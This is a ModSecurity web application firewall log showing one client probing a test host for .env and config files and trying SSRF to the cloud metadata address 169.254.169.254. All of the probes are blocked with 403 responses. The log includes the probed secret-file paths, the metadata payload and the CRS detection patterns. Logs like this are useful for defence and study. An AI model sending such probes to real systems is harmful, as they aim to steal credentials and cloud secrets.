[Sun Jun 29 20:16:56.847021 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqAAAAAI&quot;]
[Sun Jun 29 20:16:56.847207 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqAAAAAI&quot;]
[Sun Jun 29 20:16:56.902774 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqQAAAAI&quot;]
[Sun Jun 29 20:16:56.903023 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqQAAAAI&quot;]
[Sun Jun 29 20:16:56.903236 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqQAAAAI&quot;]
[Sun Jun 29 20:17:12.701998 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BAAAAAo&quot;]
[Sun Jun 29 20:17:12.702249 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BAAAAAo&quot;]
[Sun Jun 29 20:17:12.702451 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BAAAAAo&quot;]
[Sun Jun 29 20:17:12.731574 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BQAAAAo&quot;]
[Sun Jun 29 20:17:12.731834 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BQAAAAo&quot;]
[Sun Jun 29 20:17:12.732016 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7BQAAAAo&quot;]
[Sun Jun 29 20:17:12.881457 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CgAAAAo&quot;]
[Sun Jun 29 20:17:12.881878 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CgAAAAo&quot;]
[Sun Jun 29 20:17:12.882070 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CgAAAAo&quot;]
[Sun Jun 29 20:17:12.911299 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CwAAAAo&quot;]
[Sun Jun 29 20:17:12.911714 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CwAAAAo&quot;]
[Sun Jun 29 20:17:12.911899 2025] [:error] [pid 3205368] [client 185.177.72.107:50340] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aGGDKPU4kcQDYAJF_ch7CwAAAAo&quot;]
[Sun Jun 29 20:17:22.565072 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbQAAAAU&quot;]
[Sun Jun 29 20:17:22.565327 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbQAAAAU&quot;]
[Sun Jun 29 20:17:22.565494 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbQAAAAU&quot;]
[Sun Jun 29 20:17:22.668075 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbgAAAAU&quot;]
[Sun Jun 29 20:17:22.668302 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbgAAAAU&quot;]
[Sun Jun 29 20:17:22.668490 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbgAAAAU&quot;]
[Sun Jun 29 20:17:22.791821 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.ses&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbwAAAAU&quot;]
[Sun Jun 29 20:17:22.792049 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbwAAAAU&quot;]
[Sun Jun 29 20:17:22.792230 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aGGDMuU-dj-hWt1UAd7gbwAAAAU&quot;]
[Sun Jun 29 20:17:23.238673 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aGGDM-U-dj-hWt1UAd7gfAAAAAU&quot;]
[Sun Jun 29 20:17:23.239005 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aGGDM-U-dj-hWt1UAd7gfAAAAAU&quot;]
[Sun Jun 29 20:17:23.239186 2025] [:error] [pid 2968165] [client 185.177.72.107:37624] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aGGDM-U-dj-hWt1UAd7gfAAAAAU&quot;]
[Sun Jun 29 20:17:34.311359 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55AAAAAE&quot;]
[Sun Jun 29 20:17:34.311610 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55AAAAAE&quot;]
[Sun Jun 29 20:17:34.311821 2025] [:error] [pid 2967919] [client 185.177.72.107:52614] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aGGDPntTxOj9v32ojom55AAAAAE&quot;]
